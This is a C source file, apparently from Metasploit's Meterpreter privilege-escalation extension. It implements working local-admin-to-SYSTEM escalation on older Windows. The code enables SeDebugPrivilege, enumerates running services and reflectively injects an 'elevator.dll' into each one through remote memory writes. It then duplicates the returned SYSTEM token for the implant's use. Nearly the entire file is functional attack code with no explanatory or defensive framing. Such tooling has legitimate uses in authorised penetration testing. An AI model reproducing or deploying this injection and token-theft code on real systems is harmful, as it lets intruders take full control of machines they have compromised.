Permalink
Fetching contributors…
Cannot retrieve contributors at this time
207 lines (158 sloc) 7.52 KB
#include "precomp.h"
#include "tokendup.h"
#include "../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
/*
* Enable or disable a privilege in our processes current token.
*/
BOOL elevate_priv( char * cpPrivilege, BOOL bEnable )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hToken = NULL;
TOKEN_PRIVILEGES priv = {0};
do
{
if( !cpPrivilege )
BREAK_WITH_ERROR( "[ELEVATE] elevate_priv. invalid arguments", ERROR_BAD_ARGUMENTS );
if( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_priv. OpenProcessToken failed" );
priv.PrivilegeCount = 1;
if( bEnable )
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
priv.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
if( !LookupPrivilegeValue( NULL, cpPrivilege, &priv.Privileges[0].Luid ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_priv. LookupPrivilegeValue failed" );
if( !AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_priv. AdjustTokenPrivileges failed" );
} while( 0 );
CLOSE_HANDLE( hToken );
SetLastError( dwResult );
if( dwResult == ERROR_SUCCESS )
return TRUE;
return FALSE;
}
/*
* Elevate from local admin to local system via code injection in a system service.
* Does not work on NT4 (needed api's missing) Works on 2000, XP, 2003. On Vista, 2008 or 7 we cant open
* service process from a non elevated admin.
*
* A current limitation in LoadRemoteLibraryR prevents this from working across
* architectures so we just filter out running this from an x64 platform for now.
*/
DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
{
DWORD dwResult = ERROR_SUCCESS;
HANDLE hToken = NULL;
HANDLE hTokenDup = NULL;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
HANDLE hManager = NULL;
HANDLE hService = NULL;
LPVOID lpServiceBuffer = NULL;
LPVOID lpRemoteCommandLine = NULL;
ENUM_SERVICE_STATUS * lpServices = NULL;
char * cpServiceName = NULL;
SERVICE_STATUS_PROCESS status = {0};
char cCommandLine[128] = {0};
OSVERSIONINFO os = {0};
DWORD dwServiceLength = 0;
DWORD dwBytes = 0;
DWORD index = 0;
DWORD dwServicesReturned = 0;
DWORD dwExitCode = 0;
do
{
// only works on x86 systems for now...
if( elevate_getnativearch() != PROCESS_ARCH_X86 )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. Unsuported platform", ERROR_BAD_ENVIRONMENT );
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
if( !GetVersionEx( &os ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" )
// filter out Windows NT4
if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT )
cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );
if( !dwServiceLength || !lpServiceBuffer )
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS );
if( !elevate_priv( SE_DEBUG_NAME, TRUE ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. elevate_priv SE_DEBUG_NAME failed" );
hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE );
if( !hManager )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. OpenSCManagerA failed" );
if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &dwBytes, &dwServicesReturned, NULL ) )
{
if( GetLastError() != ERROR_MORE_DATA )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 1 failed" );
}
lpServices = (ENUM_SERVICE_STATUS *)malloc( dwBytes );
if( !lpServices )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. malloc lpServices failed" );
if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, lpServices, dwBytes, &dwBytes, &dwServicesReturned, NULL ) )
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 2 failed" );
dwResult = ERROR_ACCESS_DENIED;
// we enumerate all services, injecting our elevator.dll (via RDI), if the injected thread returns successfully
// it means we have been given a system token so we duplicate it as a primary token for use by metsrv.
for( index=0 ; index<dwServicesReturned ; index++ )
{
do
{
hService = OpenServiceA( hManager, lpServices[index].lpServiceName, SERVICE_QUERY_STATUS );
if( !hService )
break;
if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&status, sizeof(SERVICE_STATUS_PROCESS), &dwBytes ) )
break;
if( status.dwCurrentState != SERVICE_RUNNING )
break;
// open a handle to this service (assumes we have SeDebugPrivilege)...
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId );
if( !hProcess )
break;
dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId );
_snprintf_s( cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/t:0x%08X\x00", GetCurrentThreadId() );
// alloc some space and write the commandline which we will pass to the injected dll...
lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
if( !lpRemoteCommandLine )
break;
if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) )
break;
// use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll
hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine );
if( !hThread )
break;
// we will only wait 30 seconds for the elevator.dll to do its job, if this times out we assume it failed.
if( WaitForSingleObject( hThread, 30000 ) != WAIT_OBJECT_0 )
break;
// get the exit code for our injected elevator.dll
if( !GetExitCodeThread( hThread, &dwExitCode ) )
break;
// if the exit code was successfull we have been given a local system token, so we duplicate it
// as a primary token for use by metsrv
if( dwExitCode == ERROR_SUCCESS )
{
if( OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken ) )
{
if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) )
{
core_update_thread_token( remote, hTokenDup );
dwResult = ERROR_SUCCESS;
break;
}
}
}
} while( 0 );
CLOSE_SERVICE_HANDLE( hService );
CLOSE_HANDLE( hProcess );
CLOSE_HANDLE( hThread );
CLOSE_HANDLE( hToken );
if( dwResult == ERROR_SUCCESS )
break;
}
} while( 0 );
CLOSE_SERVICE_HANDLE( hManager );
if( lpServices )
free( lpServices );
SetLastError( dwResult );
return dwResult;
}